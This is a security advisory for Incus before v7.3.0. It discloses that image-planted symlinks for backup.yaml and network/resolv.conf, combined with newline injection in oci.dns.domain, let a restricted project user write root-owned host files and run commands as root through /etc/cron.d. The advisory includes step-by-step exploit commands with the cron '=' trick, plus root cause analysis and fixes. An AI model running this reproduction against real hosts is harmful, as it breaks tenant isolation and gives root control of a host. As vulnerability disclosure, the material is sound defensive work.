Skip to content

Arbitrary file write on host via image-planted symlinks and oci.dns.* newline injection

Critical
stgraber published GHSA-7fj9-65v4-rp7h Jul 30, 2026

Package

gomod github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions

< v7.3.0

Patched versions

>= v7.3.0

Description

Summary

Incus extracts a unified image's top-level files straight into the instance directory, and later writes to two of those paths as root without checking for symlinks: backup.yaml (at instance create) and network/resolv.conf (at OCI container start). An imported image can ship those names as absolute symlinks pointing anywhere on the host. When the instance is created and started, incusd follows them and writes root-owned files outside the instance directory.

Because oci.dns.domain and oci.dns.search accept newlines, the content written to resolv.conf is attacker-controlled. Pointing that symlink at /etc/cron.d/ turns the write into root command execution.

This is reachable by importing a crafted image (incus image import), not by pulling one from an OCI/Docker registry - the registry path rebuilds the metadata tarball from only config.json and metadata.yaml, so it can't carry these entries.

Who can do this

The relevant boundary is the project-scoped (restricted) certificate, which Incus treats as an "operator (internal/server/auth/driver_tls.go:83-94, role assigned at :242). Such a user has full rights inside their own project - including importing images and creating/starting instances - but is not a server admin and is confined to their project. This bug lets that operator write files as root on the host, escaping the project.

It does not add any privilege in the default single-admin setup (local socket, one unrestricted cert), where an image importer is already root-equivalent. The PR:L score assumes the restricted/multi-tenant model.

Root cause

  1. Image top-level content is unpacked into the instance directory and never sanitized. getImageMetadata() (cmd/incusd/images.go) only checks that metadata.yaml and a rootfs/ entry exist; it doesn't reject extra entries like network/ or backup.yaml. ImageUnpack() (internal/server/storage/utils.go) only Lstats rootfs for a symlink. On the dir backend the whole tarball goes straight into the instance volume.

  2. Two root writes under the instance dir use plain os.WriteFile/os.Create, which follow symlinks. The sibling templates and credentials writes in the same driver were already moved to os.OpenRoot; these two were not.

    Path Location (7.2.0 → main) Written at Instance types
    network/resolv.conf driver_lxc.go:2635:2644 OCI start OCI containers
    backup.yaml backend.go:6967:7042 instance create all containers + VMs
  3. oci.dns.domain / oci.dns.search use validate.IsAny (internal/instance/config.go:816/825, :830/839 on main), so newlines pass. resolv.conf is built with fmt.Fprintf(&resolvConf, "domain %s\n", value), so a newline in the value adds a second, fully controlled line.

backup.yaml is the broader of the two: it needs no config.json or oci.* config, fires on create for every instance type, and isn't fixed by hardening only the network/ writes.

Call path

Create → instanceCreateFromImage() (instance.go:137) → CreateInstanceFromImage() (backend.go:1824) unpacks the image into the instance dir (planting the symlinks), then UpdateBackupFile() (instance.go:273) → os.Create(inst.Path()/backup.yaml) (backend.go:7042) follows the symlink.

Start → config generation checks PathExists(d.Path()/config.json) (driver_lxc.go:2426), then os.WriteFile(d.Path()/network/resolv.conf, …) (:2644) follows the symlink.

What I tested

Incus 7.2 (client and server), dir storage backend, incus admin init --minimal, Ubuntu 24.04. One crafted image with both symlinks.

  • incus init wrote the backup.yaml symlink target as root:root, mode 0400, outside the instance dir, containing the instance's backup YAML. No start needed.
  • incus start wrote the resolv.conf symlink target as root:root, mode 0644. The nested container start then failed under Docker (forklxc), but the write happens during config generation before that, so it lands regardless. On a full VM the start also completes.
  • Root command execution via /etc/cron.d: this needs one detail. A value like x\n* * * * * root <cmd> writes domain x as the first line, which cron 3.0pl1 (Debian/Ubuntu) treats as a syntax error and drops the whole file - nothing runs. Prefixing the value with = (so the line becomes domain =x) makes cron read it as an environment assignment (domain=x), the file is accepted, and the next line runs. With that, cron executed the injected command as root; the proof file contained uid=0(root) gid=0(root) groups=0(root).

The arbitrary root write itself needs no cron and no other component. Code execution needs a host-side consumer of the file - cron is the one I demonstrated (present by default on most server distros), and needs the = trick above. Other consumers (~root/.ssh/authorized_keys, /etc/ld.so.preload) have their own preconditions.

Reproduction

Tested on a disposable host with Incus 7.2.0 and a dir storage pool (incus admin init --minimal). Everything below runs as an ordinary Incus user against their own project; the files that get written are owned by root.

1. Build the crafted image

The same image carries both symlinks. backup.yaml is aimed at a harmless /tmp marker (proves the write); network/resolv.conf is aimed at /etc/cron.d (proves code execution). Point both at /tmp if you only want the write proof.

mkdir -p img/rootfs img/network
cat > img/metadata.yaml <<'EOF'
architecture: x86_64
creation_date: 1
properties:
  type: oci
EOF
# minimal but valid OCI runtime spec; process.args is dereferenced before the resolv.conf write
printf '{"ociVersion":"1.0.2","process":{"user":{"uid":0,"gid":0},"args":["/bin/sh"],"cwd":"/"},"root":{"path":"rootfs"}}' > img/config.json

ln -s /tmp/incus-write-proof  img/backup.yaml          # write target (create)
ln -s /etc/cron.d/incus-rce   img/network/resolv.conf  # RCE target  (start)

tar --owner=0 --group=0 --numeric-owner -C img -cf image.tar \
    metadata.yaml rootfs config.json network backup.yaml

tar -tf image.tar   # confirms the two entries are symlinks

2. Arbitrary root write - backup.yaml, fires at create

incus image import image.tar --alias evil
incus init evil victim
stat -c '%n %U:%G %a' /tmp/incus-write-proof

Expected: the file exists outside any instance directory, owned by root:

/tmp/incus-write-proof root:root 400

/tmp/incus-write-proof now holds the instance's backup YAML - proof that os.Create(inst.Path()/backup.yaml) followed the symlink. This alone is the arbitrary-write primitive and needs no container start.

3. Root command execution - resolv.conf into /etc/cron.d

The injected value must start with = so the first line becomes domain =x, which cron reads as an environment assignment; without it, the leading domain x line is a cron syntax error and Debian/Ubuntu cron drops the whole file.

incus config set victim oci.dns.domain "$(printf '=x\n* * * * * root id > /tmp/rce 2>&1')"
incus start victim        # writes /etc/cron.d/incus-rce via the symlink (start itself may error afterwards)

cat /etc/cron.d/incus-rce

Expected file (root:root, 0644):

domain =x
* * * * * root id > /tmp/rce 2>&1

Within a minute cron runs it as root:

sleep 65; cat /tmp/rce
# uid=0(root) gid=0(root) groups=0(root)

Cleanup

incus delete -f victim; incus image delete evil
rm -f /tmp/incus-write-proof /tmp/rce /etc/cron.d/incus-rce

Impact

Arbitrary create/truncate of any root-writable file on the host (I:H/A:H): truncate /etc/shadow, overwrite a systemd unit, corrupt incusd state. Root command execution (C:H/I:H/A:H) when the write lands in a file a root process reads, as shown with cron. The write is in the host mount namespace and isn't limited by the container's user namespace or privilege level.

Fix

  1. Do the writes under the instance dir through os.OpenRoot (already used for templates and credentials): backup.yaml, network/resolv.conf, network/hosts, network/hostname, network/dhcp.skip.
  2. After unpack, reject or remove daemon-owned top-level entries (network/, backup.yaml, config.json, credentials/, state/, …) instead of trusting the image; extend the existing rootfs symlink check to them.
  3. Reject \r/\n in oci.dns.domain and each oci.dns.search element.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

Improper Neutralization of CRLF Sequences ('CRLF Injection')

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs. Learn more on MITRE.

Credits